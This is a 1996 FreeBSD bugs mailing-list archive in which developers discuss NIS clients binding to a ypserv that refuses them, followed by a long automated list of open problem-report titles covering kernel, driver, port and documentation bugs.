source DOS partition source root file with in 1024 cyls root file beyond 1024 cyl small DOS partition in front to enforce geometry >How-To-Repeat: >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Fri Nov 22 21:43:28 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA10844 for bugs-outgoing; Fri, 22 Nov 1996 21:43:28 -0800 (PST) Received: from skynet.ctr.columbia.edu (skynet.ctr.columbia.edu [128.59.64.70]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id VAA10823 for ; Fri, 22 Nov 1996 21:43:10 -0800 (PST) Received: (from wpaul@localhost) by skynet.ctr.columbia.edu (8.6.12/8.6.9) id AAA02255; Sat, 23 Nov 1996 00:42:43 -0500 From: Bill Paul Message-Id: <199611230542.AAA02255@skynet.ctr.columbia.edu> Subject: Re: bin/2090: clients may bind to FreeBSD ypserv refusing to serve them To: Tor.Egge@idt.ntnu.no Date: Sat, 23 Nov 1996 00:42:42 -0500 (EST) Cc: bugs@freebsd.org In-Reply-To: <199611230431.FAA16781@ikke.idt.unit.no> from "Tor Egge" at Nov 23, 96 05:31:36 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Of all the gin joints in all the towns in all the world, Tor Egge had to walk into mine and say: > >Description: > > NetBSD/FreeBSD/SunOS 4 machines uses broadcast via portmapper > to find an yp server that serves the relevant domain. Since > the request is forwarded by the local portmapper on the > FreeBSD machine, the securenets mechanism is inactive, and > an positive acknowledge is sent back to the client via the > portmapper. The client may be bound to an yp server > that refuses to handle requests from the client. Oh blorg. Wait a minute. Does the SunOS ypserv behave the same way? If not, I wonder that they did to shut it up. > >How-To-Repeat: > > Have a FreeBSD machine that runs a local ypserv due to > performance reasons. Hm... may I ask what this performance reasons are? > Configure ypserv to run without DNS forwarding, > since it is expensive (fork()). Configure it to only serve > local host, to avoid SunOS 4 machines needing DNS forwarding > binding to it. Observe that nearby NetBSD/FreeBSD/SunOS 4 machines > may bind to the FreeBSD machine, causing problems > (e.g. users not being able to login). [chop] > - Don't let the ypserv process fork for gethostbyname() > lookups. Use async dns lookups instead. This has been on my mind for a while, but it's fallen victim to a severe lack of round tuits. One reason I've been putting it off is that doing this 'correctly' would probably mean bolting some of the BIND code directly onto ypserv. This would lead to yet another upgrade headache when new BIND versions are released. Another problem is YPPROC_ALL, which uses a TCP pipe to transmit the entire map to the caller. If the map is large, the server can stay busy for a long time. At the moment, this is also dealt with using a fork(). I haven't found an elegant solution for this that I really like. (This is probably because I don't like threads.) -Bill -- ============================================================================= -Bill Paul (212) 854-6020 | System Manager, Master of Unix-Fu Work: wpaul@ctr.columbia.edu | Center for Telecommunications Research Home: wpaul@skynet.ctr.columbia.edu | Columbia University, New York City ============================================================================= "If you're ever in trouble, go to the CTR. Ask for Bill. He will help you." ============================================================================= From owner-freebsd-bugs Fri Nov 22 22:30:04 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA12252 for bugs-outgoing; Fri, 22 Nov 1996 22:30:04 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA12246; Fri, 22 Nov 1996 22:30:01 -0800 (PST) Date: Fri, 22 Nov 1996 22:30:01 -0800 (PST) Message-Id: <199611230630.WAA12246@freefall.freebsd.org> To: freebsd-bugs Cc: From: Peter Wemm Subject: Re: bin/2090: clients may bind to FreeBSD ypserv refusing to serve them Reply-To: Peter Wemm Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/2090; it has been noted by GNATS. From: Peter Wemm To: Bill Paul Cc: Tor.Egge@idt.ntnu.no, freebsd-gnats-submit@freebsd.org Subject: Re: bin/2090: clients may bind to FreeBSD ypserv refusing to serve them Date: Sat, 23 Nov 1996 14:22:13 +0800 Bill Paul wrote: > > - Don't let the ypserv process fork for gethostbyname() > > lookups. Use async dns lookups instead. > > This has been on my mind for a while, but it's fallen victim to a > severe lack of round tuits. One reason I've been putting it off is > that doing this 'correctly' would probably mean bolting some of the > BIND code directly onto ypserv. This would lead to yet another upgrade > headache when new BIND versions are released. Another option is to fork() once and have the parent and child communicate over a pipe. This is a pretty common approach, especially for things like WWW caches (eg: squid, harvest cached), MUD game drivers, etc. FWIW, there's an async DNS resolver in the later versions of the irc servers, but I seem to recall that it's been contaminated with GPL code. Cheers, -Peter From owner-freebsd-bugs Sat Nov 23 04:31:13 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id EAA22638 for bugs-outgoing; Sat, 23 Nov 1996 04:31:13 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id EAA22624 for freebsd-bugs; Sat, 23 Nov 1996 04:31:09 -0800 (PST) Date: Sat, 23 Nov 1996 04:31:09 -0800 (PST) From: GNU GNATS Message-Id: <199611231231.EAA22624@freefall.freebsd.org> To: freebsd-bugs Subject: List of open Problem Reports Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk This is the list of currently open problem reports [1994/11/30] kern/34 nullfs and union mounts can result in wild pointer r [1995/01/14] bin/115 systat iostat display doesn't scale high enough [1995/01/15] bin/146 version of compress is kinda old and slow [1995/01/21] bin/174 Poor error message from stty [1995/01/22] kern/176 EIDRM not defined in errno.h [1995/01/24] gnu/183 can't resolve "operator <<" overload [1995/02/14] kern/216 /kernel: panic: ffs_alloccg: map corrupted [1995/03/02] misc/229 acos() core dump [1995/03/28] kern/281 Messages printed when checking CD ROM device too ver [1995/03/28] kern/282 buslogic adapter information WAY too verbose [1995/04/01] kern/291 PCI devices still probe/attach after being disabled [1995/04/20] kern/353 xcdplayer crashes machine (with NCR810 SCSI) [1995/04/20] misc/355 policy on /usr/local permission in base release [1995/05/13] bin/401 Add REMOTE_* variables [1995/05/14] kern/405 The gpio driver does not work with the AT-GPIB, only [1995/05/15] misc/423 Sound devices are too insecure [1995/05/16] kern/425 arp entries not getting removed when interface chang [1995/05/23] i386/440 want vidcontrol option to apply settings to all sysc [1995/06/14] bin/514 Crash recovery impossible without static mt/chflags. [1995/06/15] bin/517 Bad group change with 'install' [1995/06/15] bin/519 execution of quotacheck from /etc/rc fails [1995/06/26] kern/565 slip freezes machine [1995/07/02] kern/579 sio: RS_IBUFSIZE at 256 bytes serial lines loose dat [1995/07/04] kern/588 Configuration of DEC ethernet cards not possible [1995/07/05] bin/591 SPAP request REJexted in stead of NAKed [1995/07/09] misc/605 NIS: get*bynis routine problems [1995/07/29] kern/638 Transmitted packets not passed to bpf in if_le.c [1995/08/01] docs/646 vmstat man page out of date [1995/08/01] bin/648 printf format conversion incorrect (duplicate) [1995/08/03] kern/652 Multiple addresses on one interface interacts badly [1995/08/05] gnu/655 ld -r of shared objects worked in 1.1.5, not in 2.0. [1995/08/07] bin/658 ifconfig alias has to be separately given [1995/08/11] ports/673 /bin/sh + inn1.4 innwatch going belly up [1995/08/13] bin/680 2.0.5's tip using termios doesn't act the way it did [1995/08/15] i386/692 My modem is not found if my external cache is disabl [1995/08/21] kern/703 ppp not always deleting route properly when a ppp li [1995/08/22] bin/706 increased root DNS traffic and long latencies for r- [1995/08/29] bin/715 ls gives weird tabular form [1995/08/31] bin/716 W returns wrong results at login [1995/09/26] kern/742 syslog errors accessing Mac hard disks [patch] [1995/09/27] kern/745 occasional filesystem inconsistencies, and "panic: f [1995/09/28] kern/752 setting multiple addresses for a single interfaces l [1995/09/28] kern/753 my archive scsi tape drive does not work [1995/09/28] docs/754 there is no man page for the psm(4) mouse driver [1995/10/03] kern/765 umount -f can`t umount a NFS filesystem in use [1995/10/11] bin/777 patch doesn't realize stdin is closed and asks quest [1995/10/14] kern/781 OPEN_MAX in kernel config and FD_SETSIZE in /usr/inc [1995/10/18] bin/786 Problem with NIS and large group maps [1995/10/25] kern/792 cd9660 very slow. [1995/10/25] kern/793 ep0 cannot be configured and more. [1995/10/29] docs/801 rlogind k, v, and x options are not documented [1995/10/31] bin/803 bsd m4 chokes and dies while FSF m4 works... [1995/11/11] bin/815 mountd reports unknown hosts with non-informative me [1995/11/12] kern/820 scsi tape problems [1995/11/20] kern/831 one minor complaint about the kernel visual config c [1995/11/22] kern/835 ed panics with SMC ultra with iomem, if no iomem in [1995/11/27] bin/841 stale nfs mounts cannot be umounted [1995/11/28] bin/850 dump treats write-protect as an EOT & spoils set FDI [1995/11/30] bin/854 swapinfo shows incorrect information for vnconfig'd [1995/12/02] kern/860 visual mode in kernel -c is too restrictive [1995/12/06] ports/871 port.subdir.mk DEBUG_FLAGS is not used for CFLAGS [1995/12/08] kern/876 NFS allows bogus accesses to cached data [1995/12/17] kern/900 ext2fs triggers divide by zero trap in vnode_pager_h [1995/12/20] i386/906 /sys/i386/boot/netboot/nb8390.com cannot recognize N [1995/12/29] kern/920 sio output looses chars in fifo on close() [1996/01/01] bin/926 Mounting nfs disks before starting mountd: Chicken o [1996/01/02] kern/927 VGA mode not restored [1996/01/06] misc/934 ppp dies with Bus Error when processing long LOGIN s [1996/01/21] bin/961 'more $file', incorrect CRLF compacting. [1996/01/23] ports/968 Netscape & cern_httpd ports out of date/dead links [1996/01/25] kern/971 Default limits for number of processes per user ridi [1996/01/28] kern/975 getrusage returns negative deltas [1996/01/28] kern/976 NCR SCSI driver gives assertion errors and disk beco [1996/02/06] kern/998 badness in file system silently crashes machine [1996/02/07] bin/999 /usr/share/mk/sys.mk missing common $(RM) macro [1996/02/07] kern/1001 M_NAMEI malloc leak in the kernel [1996/02/12] bin/1019 getty cannot detect ppp logins [1996/02/12] kern/1020 .Boca 16-port board still hangs [1996/02/12] bin/1021 pppd doesn't handle PAP-only authentication well [1996/02/12] docs/1023 using touch to create swap file for NFS doesn't work [1996/02/19] docs/1036 List of dead xrefs in man pages [1996/02/25] i386/1042 Warning from sio driver reports wrong device FDIV045 [1996/02/26] misc/1043 vm_bounce_alloc error on 2.1 install with 4G drive [1996/03/09] bin/1073 telnet -8 does not work with SunOS or Solaris [1996/03/20] kern/1090 iostat displays incorrect sps count [1996/03/20] bin/1093 route's diagnostic is weird [1996/03/23] kern/1098 File system corruption (2 cases) [1996/03/30] bin/1111 mail.local will happily deliver mail to a quota'd fi [1996/04/05] kern/1118 panic: setrunqueue encountered when wine fork()'s [1996/04/06] kern/1119 Mounted EXT2FS partition is not cleanly unmounted up [1996/04/06] kern/1121 System crashes on boot up just after the "devfs read [1996/04/11] kern/1134 PPB support is broken for multiple/unknown PPBs. [1996/04/14] docs/1141 pcvt(4) references non-existent man page. [1996/04/19] docs/1151 intro(3) references libc(3) and plot(3), which do no [1996/04/23] ports/1155 systat or top display disagreeing information [1996/04/30] docs/1165 Printer Text Filter scripts should be in /usr/share/ [1996/05/02] docs/1169 bogus reference to keysu(1) in key(1) and keyinit(1) [1996/05/07] kern/1177 Machine hangs with message "vm_fork: no pte for UPAG [1996/05/09] bin/1184 ls + xterm + nvi + columns != 80 + ^Z = mangled list [1996/05/15] bin/1206 /bin/sh + emacs + ^G = ruined terminal [1996/05/22] kern/1236 some #def's in pcvt_conf.h not braketed by #ifndef's [1996/05/24] kern/1246 aic-7850 driver sees more cdroms then exists [1996/05/24] misc/1247 Conflicting header files [1996/05/26] kern/1256 ZNYX 314 mysterously looses packets [1996/05/28] kern/1271 Kernel panic using PLIP in 27/05 current [1996/05/28] bin/1276 pppd hangs serial port - ENOBUFS [1996/05/30] docs/1280 locale and collating [1996/05/31] kern/1284 panic: vm_page_free: freeing busy page [1996/06/02] i386/1288 wdgetctlr (wd.c) return incorrect number of cylinder [1996/06/05] kern/1293 Fatal trap 12: page fault while in kernel mode (PPP/ [1996/06/06] misc/1299 National charecter problem in XFree86 [1996/06/07] kern/1301 DEC FDDI/PCI Adapter: halt code = 6 (DMA Error) [1996/06/10] kern/1308 vm_page_free: wire count > 1 in 960501-SNAP [1996/06/11] kern/1311 Panic: vm_page_free while installing new kernel [1996/06/11] bin/1312 automounter hangs on boot [1996/06/12] conf/1319 muldi3 is not included into kernel's Makefile by con [1996/06/16] kern/1327 keyboard probe in -current fails, X reboots machine [1996/06/18] i386/1331 changes and bug in ft driver [1996/06/19] kern/1336 Permission for .. in NFS mounts is somewhat non-intu [1996/07/06] misc/1373 RPC include lacks prototypes [1996/07/06] docs/1374 the default listed in the newfs -i man page does not [1996/07/09] bin/1377 mv(1) retains the setuid bit when it is unable to pr [1996/07/09] gnu/1379 Man command problem, when it writes into symlinked d [1996/07/16] bin/1391 cpio -O ignores umask [1996/07/16] bin/1392 PPP silently fails to work when CTS/RTS isnt availab [1996/07/18] kern/1399 invoking setuid programs over NFS case vnode_pager e [1996/07/19] docs/1402 sh(1) manual [1996/07/19] gnu/1407 ld computes wrong size of common (global data) [1996/07/21] ports/1416 cflow(1) doesn't parse GNU C __attribute__ syntax [1996/07/24] misc/1428 ncurses doesn't always display ALTCHARSET correctly [1996/07/25] bin/1429 sh(1) and getopts [1996/08/03] bin/1461 Incorrect address binding of Kerberized rlogin [1996/08/03] kern/1462 nfsstat doesn't work if using LKM'ed version of NFS [1996/08/04] kern/1467 scsi_prevent causing tape problems on close [1996/08/06] bin/1469 it is difficult to run /usr/sbin/ppp from a script [1996/08/07] ports/1470 need more info in the ports structure [1996/08/09] kern/1480 terminal "cons25" resize problem [1996/08/09] bin/1482 vidcontrol -f fnt-size file-with-wrong-fnt-size [1996/08/12] docs/1493 incomplete prototypes in man pages for mmap function [1996/08/15] kern/1498 system hangs during inactivity [1996/08/17] kern/1501 vmstat reports impossible avm after starting up X [1996/08/17] bin/1502 vmstat 'avm' field merges with procs 'w' field for l [1996/08/17] ports/1504 latex port completely failes [1996/08/17] kern/1508 syscons should protect against useless DDB entry [1996/08/18] kern/1512 Use of madvise may may cause bad memory mappings [1996/08/19] kern/1514 mlock fails on readonly regions [1996/08/20] kern/1516 vm_fault.c contains dead code or too many underscore [1996/08/20] ports/1517 What is InterViews ??!?! [1996/08/20] ports/1518 No man pages in audio/mpegaudio port [1996/08/21] ports/1520 sudo dosn't recognise certain passwords and thinks y [1996/08/21] bin/1522 dump | restore of filesystem corrupted files [1996/08/21] bin/1523 "cvs update -d -P" prunes unchecked-in directories [1996/08/21] ports/1524 New port -- xtem-5.18beta [1996/08/21] ports/1525 xvnews-2.3.2 [1996/08/21] ports/1526 xtar-1.4 [1996/08/21] ports/1527 xmaddressbook-1.5.3 [1996/08/21] ports/1529 New port -- bricons-3.0 [1996/08/22] kern/1531 Machine hangs, unable to either fork or exec. [1996/08/22] kern/1533 Machine can be panicked by a userland program. [1996/08/24] misc/1538 enhanced /etc/security script [1996/08/24] ports/1539 Attempts to run Linux elf binaries using libXpm fail [1996/08/25] misc/1541 fork.o in libc_r fails to compile [1996/08/27] bin/1547 ncrcontrol won't work with FAILSAFE kernel [1996/08/27] bin/1548 ncrcontrol -i queries don't work for mere users [1996/08/27] ports/1549 Port submission for gdbtk [1996/08/29] bin/1552 moused has no manual page (and -s option is broken) [1996/08/30] i386/1556 ATAPI CDROM probes ok, but will not 'mount_cd9660' [1996/08/31] bin/1559 ftpd apparently not recognizing -l or -S parms [1996/09/02] misc/1561 Wrong key mapping of five keys in german.iso.kbd [1996/09/02] bin/1563 Curses let letters fall away sometimes [1996/09/06] ports/1576 patch for ports/print/mltex/Makefile FETCH_CMD [1996/09/06] bin/1577 mail -f foo does not look in current directory of .m [1996/09/07] bin/1578 fsck does not honour 'noauto' fs option [1996/09/08] ports/1583 I made ldap-3.3 port [1996/09/08] docs/1588 Handbook Incorrect LaTeX/PostScript output [1996/09/08] bin/1589 ftp fails to flush output [1996/09/10] bin/1597 No support for positional parameters in *printf func [1996/09/11] bin/1598 tip leaves OPOST set on controlling terminal (fd 0) [1996/09/11] kern/1599 panic: locking against myself [1996/09/12] ports/1601 no previous port of su2 existed in source tree :) [1996/09/12] docs/1602 /usr/lib/terminfo refered to in man terminfo, does n [1996/09/12] bin/1607 unmount fails for a NFS fs mounted without -P from a [1996/09/13] conf/1608 FreeBSD's bug tracking system does not respect confi [1996/09/14] kern/1610 mmap() of unassociated memory + mlock() can == kerne [1996/09/14] gnu/1611 groff should use "system-wide" papersize variable wh [1996/09/14] kern/1613 I get ls: fts_read: No such file or directory [1996/09/14] kern/1614 Attempt to mount an NTFS partition causes kernel pan [1996/09/15] ports/1617 new port - nntpcache [1996/09/15] docs/1618 Man page for siginterrupt thinks it is in BSD4.2 [1996/09/16] bin/1623 rpc/auth.h won't compile with -ansi flag [1996/09/16] misc/1625 2.1.5 update overwrites root's dot files [1996/09/16] i386/1626 MUSTEK Scanner hangs NCR SCSI controller [1996/09/17] docs/1630 Addition to handbook concerning MFS kernel option [1996/09/17] ports/1631 new port, lprps -- PS printing lpr filters [1996/09/18] bin/1635 setenv(3) buglet? Segv if var not previously defined [1996/09/18] kern/1638 worm driver won't make audio tracks [1996/09/18] i386/1644 sio.c can't keep RTS off while RTS flow controll is [1996/09/19] ports/1646 Port of lclint - a better lint replacement [1996/09/19] bin/1649 md5(1) header file makes bad assumption [1996/09/19] bin/1650 telnet encryption with char-mode and ascii loses syn [1996/09/19] kern/1652 changing time hangs system [1996/09/19] bin/1653 cannot umount the node ending '/' when it was mounte [1996/09/19] kern/1654 In procfs, vattr doesn't contain correct value of `v [1996/09/20] bin/1657 ls(1) output of future mtime [1996/09/20] kern/1658 ktrace/kdump flaky - corrupted ktrace.out file [1996/09/21] ports/1660 Updating of jp-fvwm2-port(-> jp-fvwm2-port-new) [1996/09/21] kern/1661 ft driver hangs uninterruptably at "bavail" [1996/09/22] ports/1663 strobe-port [1996/09/22] bin/1664 getty doesn't use init kerninfo struct [1996/09/22] bin/1665 telnetd doesn't use gettytab %m %r %v %s tags [1996/09/23] kern/1670 PCI ed probe causes a page fault [1996/09/23] i386/1671 s2 map in pcvt isn't ISO 8859-1 and claimed. [1996/09/24] bin/1674 strange behaviour of pppd (daemonize, defaultroute) [1996/09/24] kern/1677 read from /dev/kmem may crash system [1996/09/24] bin/1678 ls(1) with LC_TIME [1996/09/25] docs/1681 procfs man page way out of date [1996/09/26] kern/1684 inconsistent permission failures on NFS requests [1996/09/27] misc/1686 sysinstall should allow partition size change before [1996/09/28] bin/1687 watch makes kernel crash [1996/09/29] kern/1689 TCP extensions throttles distant connections [1996/09/29] kern/1690 apm and sbxvi inappropriately probe as conflicting [1996/09/29] docs/1691 ppp server doc submission [1996/09/29] kern/1692 Page fault while in kernel modem fatal trap 12 (doub [1996/09/29] bin/1693 rarpd does not appear to work [1996/09/29] bin/1694 rbootd does not appear to work [1996/09/30] bin/1695 moused fails with PS/2 mouse [1996/09/30] conf/1697 rc.i386 missing line for moused [1996/09/30] kern/1698 sup from around 21:51 GMT 28th very unstable (mmap, [1996/10/01] bin/1700 'ls -lo' does not list opaque flag (chflags does not [1996/10/01] bin/1702 installing of tcl manpages fails from make world [1996/10/01] conf/1704 Install fails, probe dos not find my ADAPTEC 2940 Ul [1996/10/01] bin/1705 COM2 not detected when booting from Harddrive. Only [1996/10/02] misc/1708 monthly login accounting [1996/10/02] kern/1711 kernel logging of signaled processes should be optio [1996/10/02] docs/1712 semget man page refers to SEM_W instead of SEM_A [1996/10/02] gnu/1713 mkisofs doesn't match man page in behavior [1996/10/02] kern/1714 [1996/10/03] kern/1715 le driver non-reentrant [1996/10/03] kern/1716 LKM does not install character devices [1996/10/03] misc/1717 Use of ntohl causes lint to complain [1996/10/04] pending/1721 [1996/10/04] pending/1723 kernel fault when doing scsi reprobe [1996/10/04] kern/1724 HP colorado T4000S tape drive hangs system on many s [1996/10/04] kern/1725 visual config redraws bits of the screen too often [1996/10/04] kern/1726 panic in kmem_malloc (dump available) [1996/10/05] pending/1729 Installing gnats package makes send-pr fail. [1996/10/05] i386/1730 SFF8020 violation and silly bug in atapi.c hinder it [1996/10/05] pending/1732 bzip port won't install [1996/10/08] misc/1738 Install floppy returns random geometry with 2GB IDE [1996/10/08] ports/1743 submission of new port (tiff-3.4) [1996/10/09] ports/1752 Update of nedit port [1996/10/10] ports/1753 SSLeay doesn't work against Microsoft secure web sit [1996/10/10] kern/1754 netbooted machines freeze with ifconfig aliases [1996/10/10] bin/1755 more(1) generates garbage at end of file output [1996/10/10] kern/1758 New AWE32 sound card driver for integration into -cu [1996/10/10] ports/1759 uudeview and uulib ports are imperfect (i.e. out of [1996/10/11] bin/1773 A NULL pointer causing segmentation core dumped. [1996/10/11] bin/1774 telnet spins when killed before network is closed [1996/10/11] conf/1777 sysctl called in /etc/netstart before /usr mounted w [1996/10/12] bin/1778 locate.updatedb uses /tmp directory. [1996/10/13] gnu/1787 Diffs with Index: lines are not honored for new file [1996/10/13] kern/1788 netstat gives negative numbers for tcp bytes transfe [1996/10/13] bin/1789 dump estimates a negative number of tapes needed for [1996/10/13] kern/1790 access to /dev/kmem panics system [1996/10/13] misc/1791 syslimits.h does not allow overriding default value [1996/10/13] bin/1793 /bin/sh return w/o exitstatus in a function sets exi [1996/10/14] bin/1804 pkg_create hangs if the packing list has named pipes [1996/10/14] bin/1805 Bug in ftpd [1996/10/14] conf/1808 The mount menu for installation fails with >6 slices [1996/10/14] i386/1809 floppy boot code causes reboot of computer [1996/10/15] bin/1810 fsck -p does not check pass 0 filesystems concurrent [1996/10/15] kern/1811 Patch to correct rows/columns for syscons [1996/10/15] kern/1812 vnodes are left in a locked state [1996/10/15] ports/1813 nntpcache-current port in incoming [1996/10/15] kern/1814 cy driver gets deadlocked sometimes [1996/10/15] pending/1815 Re: Fix for syscons TIOCGWINSZ for non 80x25 text mo [1996/10/16] i386/1821 boot fails if bad144 selected on large partition [1996/10/16] bin/1827 add support of Glidepoint trackpad "tap/drag" to mou [1996/10/16] kern/1828 limit filesize does not work [1996/10/17] bin/1831 routed's rdisc mode is installing incorrectly format [1996/10/18] ports/1834 COMMENT may be amusing but is not informative [1996/10/18] ports/1837 ports upgrade too fast :) [1996/10/18] kern/1839 Multiple mfs mounts of same mount point [1996/10/19] docs/1841 NT boot mgr too Linux centric in FAQ [1996/10/19] bin/1843 Gdb dumps core upon executing ``help set'' [1996/10/19] ports/1844 new port, zmtx-zmrx (zmodem xfer prog) [1996/10/20] docs/1847 new handbook iijppp server section [1996/10/20] kern/1848 breakpoints may be set in shared libraries, but they [1996/10/20] bin/1849 gdb sets library breakpoints on the wrong address [1996/10/20] docs/1851 madvise MADV_FREE manual page clarification [1996/10/20] misc/1853 Syscons font mapping semms not to work propperly [1996/10/20] docs/1854 Error in bootparams(5) man page [1996/10/20] docs/1855 Addition to LINT [1996/10/21] kern/1856 read-only nfs mount: panic leaf should be empty [1996/10/21] misc/1857 paramater of opendir gets thrashed [1996/10/21] kern/1859 fddi_input() floods system msg buffer when dropping [1996/10/22] misc/1861 Upgrade install should save list of files that need [1996/10/22] bin/1863 On systems with setuid 'lpr' and defined printers, l [1996/10/22] bin/1864 FTP case mapping during MGET [1996/10/22] bin/1865 Problem with touch command [1996/10/22] ports/1866 popclient flushes remote mailbox even with local fai [1996/10/22] ports/1867 port upload [1996/10/22] kern/1868 system knows it has no keyboard but complains leds w [1996/10/23] misc/1871 incorrect '===> item' when making world [1996/10/23] bin/1872 automounter (amd) cannot ls directories with > 66 en [1996/10/23] bin/1873 kerberos login encryption incompatible with all othe [1996/10/24] kern/1878 SONY CDU76E IDE/ATAPI CDROM support. [1996/10/24] kern/1880 kernel crash during boot when using 512 MB memory [1996/10/24] bin/1881 file(1) misidentifies Sun3/m68k executables [1996/10/24] bin/1882 nobody can su when wheel group is empty [1996/10/25] kern/1887 serial line switches from 9600 to 57600 when shuttin [1996/10/25] bin/1891 mountd fails to export [1996/10/26] bin/1892 install(1) removes target file [1996/10/26] docs/1896 compilation errors in share/doc/psd/19.curses [1996/10/26] bin/1897 Sendmail 8.8.2 requires /etc/sendmail.cw [1996/10/27] ports/1902 additional clean targets for bsd.port.mk [1996/10/27] bin/1904 /usr/bin/su is not careful enough in verifying comma [1996/10/27] bin/1905 There's a buffer overflow in FreeBSD libc glob() [1996/10/27] conf/1906 sysinstall did not install bison.simple or bison.hai [1996/10/27] misc/1908 FTP install failed DNS lookup [1996/10/27] misc/1910 filenames with unusual characters break /etc/securit [1996/10/28] ports/1913 new port of cgoban-1.6.2 [1996/10/28] kern/1914 vm_page_alloc(ZERO): missing page on free queue [1996/10/28] conf/1915 8 bit chars dont work with LC_CTYPE=fi [1996/10/29] docs/1922 Spelling of datasets not consistent [1996/10/29] bin/1924 if lpd is not running, lpc will say ``no such file o [1996/10/29] bin/1927 User CPU time getting accounting as system time [1996/10/30] misc/1928 fdisk incorrectly detects driver geometry [1996/10/30] kern/1929 HP C1536A DAT drive errors [1996/10/30] i386/1931 Mitsumi CDrom works well under 2.1.x, fails under 2. [1996/10/31] pending/1936 apache_SSL-1.1.1 & SSLeay-0.6.4 do not compile [1996/10/31] ports/1938 iv port doesn't build ibuild [1996/10/31] ports/1939 exodus port doesn't build with new g++-2.7.2.1 [1996/11/01] kern/1940 TCP doesn't time out of FIN_WAIT_1 and floods packet [1996/11/01] bin/1941 wtmp and monthly rotation [1996/11/01] bin/1943 route(8) args [1996/11/02] bin/1944 /usr/games/larn fails to create score file. [1996/11/02] bin/1945 Out of date code/comments in dd [1996/11/02] bin/1947 Something is really hosed with the passwd command, o [1996/11/03] i386/1950 Sound driver doesn't encode/decode mu-law data corre [1996/11/04] bin/1952 Long chat script makes ppp dump core [1996/11/04] i386/1953 syscons savers have no default timeout [1996/11/04] bin/1954 Fix string.h to be POSIX compliant [1996/11/04] conf/1957 not all perms of ptys are put back into shape on boo [1996/11/04] i386/1959 DELAY() won't work for fast CPUs [1996/11/04] gnu/1961 uucp logging files are in /var/spool/uucp [1996/11/05] bin/1964 In my NIS environment, finger(1) fails. [1996/11/05] ports/1965 MH command rcvtty broken [1996/11/06] bin/1968 FreeBSD has no rdate(8), here's one [1996/11/06] bin/1970 csh limtail() bug [1996/11/06] docs/1971 the fbtab(5) man page has cut&paste debris [1996/11/06] bin/1972 NFS stops under load [1996/11/07] bin/1973 pppd uses /etc/ppp/options.tty after command line ar [1996/11/07] kern/1976 psm and syscons conflicts have escalated [1996/11/08] gnu/1981 ypserv handles null key incorrectly [1996/11/08] kern/1982 arpresolve: cant allocate llinfo for 207.98.254.150 [1996/11/08] i386/1983 syscons fails/hangs during system boot if kbd offlin [1996/11/09] ports/1984 New ports collection:xloadface-1.6.1 [1996/11/09] bin/1985 pkg_delete outputs confusing message when @dirrm fai [1996/11/09] bin/1986 error in lpr(1) argument handling [with fix] [1996/11/10] kern/1989 dump(8) fails to dump if tagged command queuing is e [1996/11/10] ports/1991 afio-2.4.2 port update [1996/11/12] ports/1997 initial upload of port for dotfile generator [1996/11/13] ports/1999 Fixed port( version updated): whirlgif [1996/11/13] ports/2000 [1996/11/13] bin/2001 vi confused about lines to display [1996/11/13] i386/2002 sio doesn't detect com port on Compaq Contura 430C [1996/11/13] kern/2004 route add -link panics system [1996/11/13] bin/2005 Poor command line argument checking and bad "ping" a [1996/11/14] bin/2006 Tclsh fails on `info sharedlibextension' [1996/11/14] bin/2008 kerberos tickets from login all have the same name [1996/11/14] docs/2009 Reference to nonexistent file in trek.6 man page. [1996/11/14] misc/2013 'make world' fails on read-only /usr/src [1996/11/14] kern/2014 Console keyboard lockup problem [1996/11/14] kern/2015 2.2-960801-SNAP kernel dosn't recognise multi-sector [1996/11/15] bin/2016 static libtcl references symbols that are not includ [1996/11/15] ports/2021 Moved port location: xbakuzan [1996/11/15] kern/2022 Switching from X display to virtual console causes b [1996/11/15] ports/2032 Moved port location: Crack [1996/11/15] kern/2033 unmount of doubly mounted devfs forces panic [1996/11/15] pending/2034 wd* driver "slot name rejection error" [1996/11/15] gnu/2035 deque bug, local gnu changes to deque header imprope [1996/11/16] bin/2036 cpio size wraparound [1996/11/16] ports/2037 New ports collecction:xloadface-1.6.1 [1996/11/16] pending/2038 [1996/11/16] ports/2039 Elm port does not respect ${PREFIX} modifier [1996/11/16] bin/2040 make world fails after cp -pR of /usr/bin [1996/11/17] kern/2043 2.2-ALPHA stdio problems? (Bad Address errors) [1996/11/17] kern/2044 sd0(ahc0:0:0) [1996/11/17] bin/2046 vjcomp problem in iij-ppp [1996/11/17] docs/2047 isdn.sgml changes [1996/11/17] kern/2048 GENERIC kernel lacks SYSV IPC features [1996/11/18] pending/2049 Re: afio-2.4.2 port update [1996/11/18] gnu/2050 libstdc++ missed three source files [1996/11/18] ports/2051 HDF library port [1996/11/18] pending/2052 request for a customer id [1996/11/18] kern/2053 de0 driver don't work at 100M for Compex DEC 21140-A [1996/11/18] ports/2056 xbatt ports not work after 2.1.5 (to 2.2-ALPHA) [1996/11/19] ports/2057 Yet another port of tiff-3.4 [1996/11/19] i386/2058 amity series machines can not show installation menu [1996/11/19] misc/2060 include files don't agree on prototypes [1996/11/19] bin/2061 DEBUG_FLAGS in bsd.lib.mk is broken [1996/11/19] pending/2062 xmountains-port.tar.gz placed in incoming [1996/11/19] conf/2063 No file not found message in sysinstall [1996/11/19] ports/2064 New port : tkcron [1996/11/19] bin/2065 in tzsetup, make USA easier to get to... [1996/11/19] ports/2066 one more port to the graphics subtree [1996/11/19] bin/2067 An unitialized pointer is dereferenced in tickadj [1996/11/19] misc/2068 Unstable keyboard mappings on the main tty [1996/11/19] ports/2069 New ports [1996/11/20] pending/2070 lpr -C SECURITY HOLE!!! ROOT SHELL GAIN !!!! [1996/11/20] bin/2071 FreeBSD does´t recognize aditional memory I installe [1996/11/20] kern/2072 ZIP drive support is available for FreeBSD [1996/11/20] pending/2073 